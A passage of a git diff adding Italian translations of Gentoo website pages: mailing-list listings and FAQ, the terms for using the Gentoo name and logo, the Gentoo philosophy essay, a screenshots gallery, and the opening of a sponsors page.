+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-au</c></ti>
+  <ti>
+    Discussioni tra sviluppatori Australiani e organizzazioni di eventi locali
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-soc</c></ti>
+  <ti>
+    Discussioni su attività di Gentoo relative al Summer Of Code di Google
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-lisp</c></ti>
+  <ti>Discussioni riguardo a Lisp su Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-vdr</c></ti>
+  <ti>Discussioni riguardo a VDR su Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-nfp</c></ti>
+  <ti>
+    Lista riguardande la Fondazione no-profit (NFP) Gentoo e i fiduciari
+    (Trustees)
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-scm</c></ti>
+  <ti>
+    Discussioni riguardo alla migrazione dei repository primari di Gentoo a SCM
+    alternativi.
+  </ti>
+ </tr>
+ <tr>
+   <ti><c>gentoo-pms</c></ti>
+   <ti>
+     Discussioni riguardo alle Specifiche Gestori Pacchetti di Gentoo ("Package
+     Manager Specification, o PMS", NdT).
+   </ti>
+ </tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Mailing list in altre lingue (non inglesi)</title>
+<body>
+
+<table>
+<tr>
+  <th>Nome lista</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <ti><c>gentoo-user-de</c></ti>
+  <ti>Mailing list dedicata agli utenti Gentoo tedeschi</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-br</c></ti>
+  <ti>Mailing list dedicata agli utenti Gentoo brasiliani</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-el</c></ti>
+  <ti>Mailing list dedicata agli utenti Gentoo greci</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-es</c></ti>
+  <ti>Mailing list dedicata agli utenti Gentoo spagnoli</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-fr</c></ti>
+  <ti>Mailing list dedicata agli utenti Gentoo francesi</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-hu</c></ti>
+  <ti>Mailing list dedicata agli utenti Gentoo ungheresi</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-id</c></ti>
+  <ti>Mailing list dedicata agli utenti Gentoo indonesiani</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-kr</c></ti>
+  <ti>Mailing list dedicata agli utenti Gentoo coreani</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-nl</c></ti>
+  <ti>Mailing list dedicata agli utenti Gentoo olandesi</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-pl</c></ti>
+  <ti>Mailing list dedicata agli utenti Gentoo polacchi</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-cs</c></ti>
+  <ti>Mailing list dedicata agli utenti Gentoo cechi e slovacchi</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-ru</c></ti>
+  <ti>Mailing list dedicata agli utenti Gentoo russi</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-es</c></ti>
+  <ti>Newsletter settimanale Gentoo tradotta in spagnolo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-de</c></ti>
+  <ti>Lista dedicata alla traduzione della documentazione Gentoo in tedesco</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-el</c></ti>
+  <ti>Lista dedicata alla traduzione della documentazione Gentoo in greco</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-es</c></ti>
+  <ti>
+    Lista dedicata alla traduzione della documentazione Gentoo in spagnolo
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-fi</c></ti>
+  <ti>
+    Lista dedicata alla traduzione della documentazione Gentoo in finlandese
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-fr</c></ti>
+  <ti>
+    Lista dedicata alla traduzione della documentazione Gentoo in francese
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-docs-it</c></ti>
+  <ti>
+    Lista dedicata alla traduzione della documentazione Gentoo in italiano
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-nl</c></ti>
+  <ti>
+    Lista dedicata alla traduzione della documentazione Gentoo in olandese
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-pl</c></ti>
+  <ti>Lista dedicata alla traduzione della documentazione Gentoo in polacco</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-ru</c></ti>
+  <ti>Lista dedicata alla traduzione della documentazione Gentoo in russo</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Altre Mailing List</title>
+<body>
+
+<table>
+<tr>
+  <th>Nome lista</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <ti><c>libconf</c></ti>
+  <ti>Per le discussioni riguardanti lo sviluppo di libconf</ti>
+</tr>
+<tr>
+  <ti><c>bug-wranglers</c></ti>
+  <ti>
+    Mailing list dedicata ai Gentoo bug wranglers. A questa mailing list è
+    possibile accedere solo tramite invito. Se si vuole partecipare, basta
+    essere attivi su bugzilla e aiutare i collaboratori a sistemare i bug. Se si
+    verrà notati si potrà essere invitati a diventare bug-wranglers.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Mailing Lists di Gentoo chiuse o inattive</title>
+<body>
+
+<p>
+Esistono ancora gli archivi ma queste liste sono chiuse, e non accettano nuovi
+messaggi.
+</p>
+
+<table>
+<tr>
+  <th>Nome lista</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-lt</c></ti>
+  <ti>Lista dedicata alla traduzione della documentazione Gentoo in lituano</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-id</c></ti>
+  <ti>
+    Lista dedicata alla traduzione della documentazione Gentoo in indonesiano
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-forum-translations</c></ti>
+  <ti>Lista per le traduzioni dei Forum Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-translators</c></ti>
+  <ti>Per discutere problemi riguardanti la traduzione dei documenti</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-arm</c></ti>
+  <ti>Discussioni riguardanti l'utilizzo di Gentoo sull'architettura ARM</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-fr</c></ti>
+  <ti>Newsletter settimanale Gentoo tradotta in francese</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-pl</c></ti>
+  <ti>Newsletter settimanale Gentoo tradotta in polacco</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev-lang</c></ti>
+  <ti>
+    Discussioni riguardanti il supporto ai linguaggi di programmazione in
+    Gentoo
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-ia64</c></ti>
+  <ti>Supporto e discussioni riguardanti gli utenti Gentoo Linux/ia64</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-scire</c></ti>
+  <ti>
+    Discussioni riguardanti il <uri link="/proj/en/scire/">Systems
+    Configuration, Installation and Replication Environment Project</uri>
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-media</c></ti>
+  <ti>Discussioni su i pacchetti multimediali in Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-nl</c></ti>
+  <ti>Newsletter settimanale Gentoo tradotta in olandese</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-hu</c></ti>
+  <ti>
+    Lista dedicata alla traduzione della documentazione Gentoo in ungherese
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn-de</c></ti>
+  <ti>Newsletter settimanale Gentoo tradotta in tedesco</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-xbox</c></ti>
+  <ti>Discussioni su Gentoo per Xbox</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-cygwin</c></ti>
+  <ti>Supporto e discussioni riguardanti gli utenti Gentoo cygwin</ti>
+</tr>
+<tr>
+  <ti><c>www-redesign</c></ti>
+  <ti>Dedicata allo sviluppo del nuovo sito web Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-installer</c></ti>
+  <ti>
+    Discussioni riguardo al progetto <uri
+    link="/proj/en/releng/installer/">Gentoo Linux Installer</uri>
+  </ti>
+</tr>
+<tr>
+  <ti><c>gentoo-performance</c></ti>
+  <ti>Discussioni riguardanti il miglioramento delle performance di Gentoo</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Archivi</title>
+<body>
+
+<p>
+Gli archivi delle mailing list di Gentoo sono raccolte in <br/>
+<uri link="http://archives.gentoo.org">archives.gentoo.org</uri>.
+</p>
+
+<p>
+Anche i siti seguenti ospitano gli archivi per la maggior parte delle mailing
+list.<br/>
+<uri link="http://news.gmane.org/search.php?match=gentoo">Gmane</uri><br/>
+<uri link="http://marc.theaimsgroup.com/">MARC: Mailing list ARChives</uri><br/>
+<uri link="http://www.mail-archive.com">Mail-Archive</uri>
+</p>
+
+</body>
+</section>
+<section id="faq">
+<title>Mailing List Mini-FAQ</title>
+<body>
+
+<p>
+<b>Mi sono iscritto ad una lista usando il mio indirizzo email di casa, ma non
+posso postare nella lista dall'indirizzo lavorativo. Cosa faccio per risolvere
+questo problema?</b>
+</p>
+
+<p>
+Per ridurre lo spam, tutte le liste sono configurate per permettere di postare
+solo dall'indirizzo da cui si è registrati. Fortunatamente, <c>mlmmj</c>
+supporta le iscrizioni "nomail", le quali permettono di registrare un indirizzo
+email alternativo che può essere utilizzato soltanto per postare nella lista.
+Ecco un esempio di come funziona. Immaginiamo di essere registrati alla lista
+<c>gentoo-dev</c> come <c>jim@home.com</c>, ma si vuole postare pure utilizzando
+l'indirizzo <c>james@work.com</c>. Ciò che bisogna fare consiste semplicemente
+di inviare un messaggio (come <c>james@work.com</c>) a
+<c>gentoo-dev+subscribe-nomail@lists.gentoo.org</c>. Dopo l'inscrizione, sarà
+possibile postare alla lista <c>gentoo-dev</c> utilizzando entrambi gli
+indirizzi email.
+</p>
+
+<p>
+In linea con l'obbiettivo originale di riduzione dello spam, se si invia un
+messaggio alla lista da un indirizzo non iscritto, la propria mail verrà
+direttamente eliminata (ovvero indirizzata a <path>/dev/null</path>, dal punto
+di vista tecnico ndt.). <b>Non</b> si riceverà nessun messaggio di avviso
+("bounce", ndt) dai server di Gentoo. Questo inibisce gli spammer dall'usare gli
+indirizzi di utenti ignari per far recapitare loro i messaggi di avviso del
+server.
+</p>
+
+<p>
+<b>Voglio cambiare dalla modalità regolare ad una digest. Come posso fare?</b>
+</p>
+
+<p>
+Basta togliere l'inscrizione dalla lista normale e inscriversi in una lista
+digest. Per una lista <c>listname</c>, è possibile fare ciò inviando una email
+vuota ai seguenti indirizzi:
+</p>
+
+<p>
+<c>listname+unsubscribe@lists.gentoo.org</c><br/>
+<c>listname+subscribe-digest@lists.gentoo.org</c>
+</p>
+
+<p>
+<b>Come posso usare procmail per filtrare i messaggi delle mailing list
+Gentoo?</b>
+</p>
+
+<p>
+Per filtrare le email provenienti da una lista <c>listname</c>, usare la
+seguente "ricetta" procmail:
+</p>
+
+<pre caption="Ricetta procmail di esempio">
+:0:
+* ^List-Id:.*listname\.gentoo\.org
+Mail/listname
+</pre>
+
+<p>
+È la stessa cosa di filtrare le email provenienti dal gestore di mailing list
+<e>Mailman</e>.
+</p>
+
+<p>
+<b>Varie politiche delle liste.</b>
+</p>
+
+<p>
+L'uso di email in formato HTML è scoraggiato, ma non proibito (ci sono alcuni
+client di posta elettronica, specialmente quelli basati su interfaccia web, che
+rendono veramente difficoltoso disabilitare interamente l'HTML). Prestare
+attenzione al fatto che alcuni utenti potrebbero avere il proprio lato
+ricevente configurato in modo da nascondere interamente l'HTML, e ciò potrebbe
+far credere che essi vi ignorino, specialmente se avete spedito delle mail
+aventi contenuto solo in HTML. In ordine di preferenza, si dovrebbe cercare di
+inviare i messaggi nel formato: text/plain, multipart con text/plain prima di
+text/html, MIME è accettabile e largamente usato.
+</p>
+
+<p>
+Si prega di non inviare nessun messaggio informativo di vacanze o di assenza da
+ufficio in lista. Negli interessi di ridurre lo spam nelle liste, se si imposta
+un qualsiasi messaggio automatico di risposta che arriverà alle liste, il
+proprio account verrà disiscritto da TUTTE le liste. Qualsiasi altro indirizzo
+sottoscritto in precedenza che invia messaggi di posta elettronica di server
+alle liste verrà anch'esso rimosso.
+</p>
+
+<note>
+Per la etiquette generica riguardante le mailing list, <uri
+link="http://www.dtcc.edu/cs/rfc1855.html">queste linee guida</uri> sono
+un'eccellente introduzione.
+</note>
+
+</body>
+</section>
+</chapter>
+</mainpage>
\ No newline at end of file
diff --git a/xml/htdocs/main/it/name-logo.xml b/xml/htdocs/main/it/name-logo.xml
new file mode 100644
index 00000000..b09e7e81
--- /dev/null
+++ b/xml/htdocs/main/it/name-logo.xml
@@ -0,0 +1,271 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/it/name-logo.xml,v 1.4 2007/07/12 22:09:37 scen Exp $ -->
+
+<guide link="/main/it/name-logo.xml" lang="it">
+<title>Condizioni per l'uso del nome e del logo Gentoo</title>
+
+<author>
+  La Fondazione Gentoo
+</author>
+<author title="Traduzione">
+  <mail link="luca_guglielmetti@ticino.edu">Luca Guglielmetti</mail>
+</author>
+
+<abstract>
+Questo documento tratta le condizioni per l'uso del nome e del logo Gentoo
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.8</version>
+<date>2005-12-11</date>
+
+<chapter>
+<title>Introduzione</title>
+<section>
+<body>
+
+<p>
+Questo documento descrive come usare correttamente il nome Gentoo, il suo logo
+"g" e qualsiasi altro marchio ad essi associato che non è controllato dalla
+Gentoo Foundation, Inc.  Se avete domande a proposito di queste linee guida
+contattate per favore la <mail link="trustees@gentoo.org">Gentoo Foundation,
+Inc</mail>.
+</p>
+
+<p>
+La Gentoo Technologies, Inc. e la Gentoo Foundation, Inc. si riservano il
+diritto di cambiare queste condizioni a loro discrezione. Per questo vi
+invitiamo a consultare regolarmente questo testo.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Definizioni</title>
+<section>
+<title>Il progetto Gentoo</title>
+<body>
+
+<p>
+Lo sviluppo volontario diretto al momento dalla Gentoo Foundation, Inc.,
+un'organizzazione no-profit.
+</p>
+
+</body>
+</section>
+<section>
+<title>Prodotti del progetto Gentoo</title>
+<body>
+
+<p>
+Qualsiasi prodotto che è copyright Gentoo Technologies, Inc. e/o Gentoo
+Foundation, Inc.
+</p>
+
+</body>
+</section>
+<section>
+<title>Il logo "g" di Gentoo</title>
+<body>
+
+<fig link="/images/glogo-small.png"/>
+
+</body>
+</section>
+<section>
+<title>La grafica di Gentoo</title>
+<body>
+
+<p>
+Tutti i lavori di grafica prodotti dal <e>progetto Gentoo</e> (vedi definizione
+precedente).
+</p>
+
+</body>
+</section>
+<section>
+<title>Sito della comunità Gentoo</title>
+<body>
+
+<p>
+Un sito web no-profit con lo scopo primario di offrire agli utenti di Gentoo
+informazioni su Gentoo e su altre tematiche correlate a Gentoo.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Proprietà dei marchi</title>
+<section>
+<body>
+
+<p>
+Il nome "Gentoo" e il logo "g" sono attualmente marchi registrati dalla
+Gentoo Foundation, Inc.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Uso del nome Gentoo</title>
+<section>
+<body>
+
+<p>
+Avete il permesso di usare il nome Gentoo in ambito di computers se:
+</p>
+
+<ol>
+  <li>
+    siete a conoscenza che il nome "Gentoo" è un marchio registrato dalla Gentoo
+    Foundation, Inc.
+  </li>
+  <li>
+    non chiamate nessun vostro software o prodotto "Gentoo" senza aggiungere
+    anche il vostro nome.
+  </li>
+  <li>
+    il nome del dominio per il vostro software o prodotto non contiene "Gentoo"
+  </li>
+  <li>
+    risulta evidente che il progetto, il sito, o qualsiasi sia il prodotto al
+    quale è associato il nome "Gentoo", non è parte del progetto Gentoo e non è
+    diretto o amministrato dalla Gentoo Foundation, Inc.
+  </li>
+</ol>
+
+<p>
+
+Queste regole non valgono per il progetto <uri
+link="http://www.obsession.se/gentoo/">Gentoo file manager</uri>, sviluppato
+da Emil Bink, in quanto non ha niente a che fare con il sistema operativo
+Gentoo Linux.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Uso del logo di Gentoo e del lavoro grafico</title>
+<section>
+<body>
+
+<p>
+È permesso usare il logo "g" di Gentoo e il lavoro grafico copyright Gentoo
+Foundation, Inc.  (da adesso in avanti chiamato "grafica Gentoo") alle seguenti
+condizioni:
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Uso commerciale</title>
+<body>
+
+<p>
+L'uso commerciale del logo "g" di Gentoo e del lavoro grafico Gentoo è concesso
+a <e>ogni prodotto software o hardware</e>, che <e>contiene</e> o è
+<e>basato</e> su prodotti del progetto Gentoo o su qualsiasi progetto che fa
+riferimento a Gentoo o al progetto Gentoo, purché si rispettino le seguenti
+condizioni:
+</p>
+
+<ol>
+  <li>
+    si riconosca che il logo "g" è un marchio registrato della Gentoo
+    Foundation, Inc.  e che la grafica di Gentoo è copyright Gentoo Foundation,
+    Inc.
+  </li>
+  <li>
+    la grafica di gentoo <e>non</e> è usata nel logo principale (quello più
+    grande), ma è usata in modo che si capisca che il vostro prodotto contiene
+    dei prodotti del progetto Gentoo, ma che il vostro prodotto <e>non è
+    supportato</e> dalla Gentoo Foundation, Inc.
+  </li>
+</ol>
+
+<p>
+<e>L'uso commerciale del logo "g" di Gentoo e della grafica di Gentoo per ogni
+altro fine è vietato.</e>
+</p>
+
+</body>
+</section>
+<section>
+<title>Uso non commerciale</title>
+<body>
+
+<p>
+L'uso non commerciale del logo "g" e della grafica di Gentoo è permesso soltanto
+se le seguenti condizioni vengono rispettate:
+</p>
+
+<ol>
+  <li>
+    siete a conoscenza che il logo "g" è un marchio registrato da Gentoo
+    Foundation, Inc. e che la grafica di Gentoo è copyright Gentoo Foundation,
+    Inc.
+  </li>
+  <li>
+    il logo "g" e la grafica del logo sono usate in contenuti che concernono il
+    progetto Gentoo, diretto dalla Gentoo Foundation, Inc.
+  </li>
+  <li>
+    comunicate chiaramente che il vostro progetto, sito o qualsiasi altro
+    prodotto che è associato al logo "g" o alla grafica di Gentoo <e>non</e> fa
+    parte del progetto Gentoo e <e>non</e> è diretto dalla Gentoo Foundation,
+    Inc.
+  </li>
+</ol>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Progetti della comunità di Gentoo</title>
+<section>
+<body>
+
+<p>
+La Gentoo Foundation danno il permesso ai siti web della comunità di Gentoo di
+usare il nome Gentoo nei nomi dei loro progetti e nei loro domini se:
+</p>
+
+<ol>
+  <li>
+    nel sito web è chiaramente visibile, in ogni pagina, che il progetto non è
+    un progetto ufficiale di Gentoo, con scritte come "nuovo sito", "sito non
+    ufficiale", "community"
+  </li>
+  <li>
+    il sito web non imita il nome o il layout di uno dei siti ufficiali di
+    Gentoo
+  </li>
+  <li>
+    siete a conoscenza che il nome "Gentoo" è un marchio registrato da Gentoo
+    Foundation, Inc.
+  </li>
+</ol>
+
+<p>
+Qualsiasi uso del nome Gentoo, del logo "g" e della grafica di Gentoo è soggetto
+alle condizioni citate precedentemente in questo documento.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
\ No newline at end of file
diff --git a/xml/htdocs/main/it/philosophy.xml b/xml/htdocs/main/it/philosophy.xml
new file mode 100644
index 00000000..a77b370b
--- /dev/null
+++ b/xml/htdocs/main/it/philosophy.xml
@@ -0,0 +1,71 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/it/philosophy.xml,v 1.4 2008/01/17 23:53:59 scen Exp $-->
+
+<mainpage lang="it">
+<title>La Filosofia di Gentoo</title>
+
+<author title="Autore">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Redazione">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Traduzione">
+  <mail link="lmantellini@ieee.org">Luigi 'Comio' Mantellini</mail>
+</author>
+
+<abstract>
+Questo documento spiega la filosofia dietro Gentoo.
+</abstract>
+
+<license/>
+
+<version>1.3</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>La Filosofia di Gentoo</title>
+<section>
+<body>
+
+<p>
+Ogni utente ha del lavoro da fare. L'obiettivo di Gentoo è progettare strumenti
+e sistemi che permettano all'utente di svolgere quel lavoro nel modo più
+piacevole ed efficiente possibile <!-- as <e>they</e> see fit-->. I nostri
+strumenti dovrebbero dare gioia nell'uso, e dovrebbero aiutare l'utente ad
+apprezzare la ricchezza di Linux e della comunità del software libero, e la
+flessibilità del software libero stesso. Questo è possibile solo quando lo
+strumento è progettato per riflettere e trasmettere la volontà dell'utente e
+lasciare aperte possibilità come la forma finale dei materiali grezzi (il codice
+sorgente). Se lo strumento forza l'utente a fare cose in un particolar modo,
+allora lo strumento sta lavorando contro, piuttosto che per l'utente. Abbiamo
+tutti esperienze di situazioni dove gli strumenti sembrano imporre la loro
+volontà su di noi. Questo è il passato ed è contrario alla filosofia di Gentoo.
+</p>
+
+<p>
+Vista in un altro modo, la filosofia di Gentoo è di creare strumenti migliori.
+Quando uno strumento sta facendo il suo lavoro perfettamente, potresti non
+accorgerti della sua presenza, poiché non interferisce e non si fa notare, e non
+ti impone di interagire con esso quando non vuoi farlo. Lo strumento serve
+l'utente invece dell'utente che serve lo strumento.
+</p>
+
+<p>
+L'obiettivo di Gentoo è di sforzarsi per generare strumenti quasi ideali.
+Strumenti che possano accomodare le necessità di molti utenti differenti, tutti
+con obiettivi divergenti. Se tu trovassi uno strumento che fa esattamente quello
+che vorresti, non lo ameresti? Non lo riterresti grande? La nostra missione è di
+dare questa sensazione a quanta più gente possibile.
+</p>
+
+<p>
+Daniel Robbins<br/>
+Precedente Capo Architetto
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/it/shots.xml b/xml/htdocs/main/it/shots.xml
new file mode 100644
index 00000000..0941c0d0
--- /dev/null
+++ b/xml/htdocs/main/it/shots.xml
@@ -0,0 +1,240 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/it/shots.xml,v 1.12 2010/06/21 20:44:42 scen Exp $ -->
+
+<guide lang="it">
+<title>Screenshot di Gentoo Linux</title>
+
+<author title="Precedente capo-architetto">
+  <mail link="drobbins"/>
+</author>
+<author title="Autore">
+  <mail link="swift"/>
+</author>
+<author title="Autore">Sergey Kuleshov</author>
+<author title="Autore">
+  <mail link="dabbott"/>
+</author>
+<author title="Traduzione">
+  <mail link="subbia@iitalia.com">Dario Cavallaro</mail>
+</author>
+<author title="Traduzione">
+  <mail link="magowiz@gmail.com">Marcello Magaldi</mail>
+</author>
+
+<!--
+  Modalità per la pubblicazione di screenshots:
+  - Rimuovete lo screenshot in fondo alla pagina; non dimenticatevi di
+    eliminare anche le immagini dal CVS dello screenshot
+  - Aggiungete il nuovo screenshot all'inizio della pagina
+
+  Noi manteniamo sempre gli ultimi 10 screenshots in ordine temporale, in modo
+  tale da evitare di fornire screenshots vecchi agli utenti.
+-->
+
+<abstract>Screenshot di Gentoo Linux in azione.</abstract>
+
+<license/>
+
+<version>1.39</version>
+<date>2010-06-19</date>
+
+<chapter>
+<title>Eccoli qua... cliccate per avere una versione in PNG più grande!</title>
+<section>
+<title>Avviso</title>
+<body>
+
+<impo>
+Attualmente siamo in fase di lancio del <uri
+link="/proj/en/pr/2010-screenshot-contest.xml">Concorso Gentoo Screenshot
+2010.</uri> Ai primi tre classificati verrà pubblicato il loro screenshot in
+questa pagina. Se non entrate non potrete vincere, pertanto decorate il vostro
+desktop e partecipate!
+</impo>
+
+<p>
+Gli screenshot che si trovano in questa pagina sono forniti da diversi utenti di
+Gentoo Linux. Informazioni sui temi usati, immagini di sfondo, ecc. non sono
+reperibili attraverso Gentoo. Dovrete contattare gli autori degli screenshot (se
+riuscite a trovarli) per maggiori informazioni.
+</p>
+
+<p>
+Potete sempre provare a cercare gli autori sul nostro canale di chat, #gentoo
+su irc.freenode.net oppure attraverso i <uri
+link="http://forums.gentoo.org">forum di gentoo</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>(Quasi) default di GNOME</title>
+<body>
+
+<p>
+Lo screenshot di Bartek è uno dei vincitori del Concorso degli ScreenShot di
+Gentoo. Bartek ha ottenuto questo fantastico look dall'illusione di uno sfondo
+tridimensionale corredato con la disposizione di belle icone. Questo è un buon
+esempio di come un tema predefinito può essere usato per creare un bellissimo
+screenshot.
+</p>
+
+<fig link="/images/shots/gnome-small.png" linkto="/images/shots/gnome.png" />
+
+
+</body>
+</section>
+
+<section>
+<title>Elegante WM nero</title>
+<body>
+
+<p>
+Il secondo classificato del Concorso degli ScreenShot di Gentoo è Mikołaj alias
+mklimek, che è un utente di KDE di lungo corso, e non sembra aver intenzione di
+cambiarlo. Sul suo esclusivo screenshot si può vedere qualche utility di KDE e
+icone che sembrano simili a quelle di gnome.
+</p>
+
+<fig link="/images/shots/rash-small.png" linkto="/images/shots/rash.png" />
+
+</body>
+</section>
+
+<section>
+<title>Viaggio nello Spazio</title>
+<body>
+
+<p>
+Lo screenshot di Robert dimostra un uso affascinante di sfumature di blu.
+Escludendo il cairo-clock (ndt orologio scritto con le librerie cairo), il suo
+KDE esegue (come si è potuto notare) solo applicazioni basate su qt, come
+Kopete, Konsole e amaroK. Robert si preoccupa inoltre del tema del suo irssi,
+che è distinto da colori verdi.
+</p>
+
+<fig link="/images/shots/sshotpw4-small.png" linkto="/images/shots/sshotpw4.png"
+/>
+</body>
+</section>
+
+<section>
+<title>Perfino più gentooista</title>
+<body>
+
+<p>
+Questo è probabilmente lo screenshot più "Gentooista" e personalmente penso sia
+il più bello. Alexander esegue GNOME, che non solo è bello ma è anche il più
+appropriato su una workstation Gentoo.
+</p>
+
+<fig link="/images/shots/Bildschirmfoto-small.png"
+linkto="/images/shots/Bildschirmfoto.png" />
+
+</body>
+</section>
+
+<section>
+<title>"Emergilo!"</title>
+<body>
+
+<p>
+Come si può notare, Massimiliano sta per compilare media-video/dvdauthor nella
+sua KDE box.
+</p>
+
+<fig link="/images/shots/darkgentoo2sf2-small.png"
+linkto="/images/shots/darkgentoo2sf2.png" />
+
+</body>
+</section>
+
+<section>
+<title>Bellezza Minimale</title>
+<body>
+
+<p>
+Il secondo bel screenshot del desktop di Bartek. Questa volta esegue fluxbox con
+il suo "tema scuro" qualsiasi cosa significhi. Ma la bellezza nascosta dello
+screenshot è la connessione appropriata del tema di audacious, di fluxbox e
+dello sfondo.
+</p>
+
+<fig link="/images/shots/fluxbox-small.jpg" linkto="/images/shots/fluxbox.jpg"
+/>
+
+</body>
+</section>
+
+<section>
+<title>Le scelte predefinite possono essere carine anche loro</title>
+<body>
+
+<p>
+Un tizio che si fa chiamare Purple (non si sa quale sia il suo nickname o il
+suo vero nome) ha inviato questo screenshot carino di KDE che mostra yakuake
+durante il processo di sync, e conky. Il tutto accompagnato da uno sfondo
+appropriato lo rende inusuale.
+</p>
+
+<fig link="/images/shots/snapshotzi4-small.png"
+linkto="/images/shots/snapshotzi4.png" />
+
+
+</body>
+</section>
+
+<section>
+<title>Darkclown Coronado</title>
+<body>
+
+<p>
+Darkclown (non chiedere perchè) ha aggiunto la sua bella immagine dello schermo
+che mostra icone ispirate a Vista create da saki ed l'immagine per il desktop da
+ChristianNickel. Il suo desktop mostra KDE con il tema per le finestre Plastik e
+lo stile Keramik. Potete notare anche plugin di karamba come liquid weather e
+cynapses aero.
+</p>
+
+<fig link="/images/shots/desktop-rehcmx-small.jpg"
+linkto="/images/shots/desktop-rehcmx.jpg" />
+
+</body>
+</section>
+
+<section>
+<title>Scott S Short</title>
+<body>
+
+<p>
+Scott usa il kernel 2.6.14-gentoo-r2 con Gnome 2.12, e mostra il tema Milk 2.0.
+Tutte le icone sono originarie dal sito web di Gentoo.
+</p>
+
+<fig link="/images/shots/desktop-scottsshort-small.png"
+     linkto="/images/shots/desktop-scottsshort.png" />
+
+</body>
+</section>
+
+<section>
+<title>Richard Head</title>
+<body>
+
+<p>
+Richard è uno dei tanti utenti di Gentoo che sono rimasti impressionati dalla
+flessibilità di Gentoo. Lui definisce questo screenshot "molto figo", e mostra
+un player mp3, informazioni sullo stato del sistema, terminali e menu
+trasparenti e uno spezzone di un port scan.
+</p>
+
+<fig link="/images/shots/desktop-cadaver138-small.png"
+     linkto="/images/shots/desktop-cadaver138.png" />
+
+</body>
+</section>
+
+</chapter>
+</guide>
\ No newline at end of file
diff --git a/xml/htdocs/main/it/sponsors.xml b/xml/htdocs/main/it/sponsors.xml
new file mode 100644
index 00000000..860e26bb
--- /dev/null
+++ b/xml/htdocs/main/it/sponsors.xml
@@ -0,0 +1,781 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/it/sponsors.xml,v 1.14 2010/08/27 17:56:26 scen Exp $ -->
+
+<mainpage>
+<title>Sponsor di Gentoo</title>
+
+<author title="Autore attuale">
+  <mail link="robbat2"/>
+</author>
+<author title="Autore precedente">
+  <mail link="klieber"/>
+</author>
+<author title="Autore precedente">
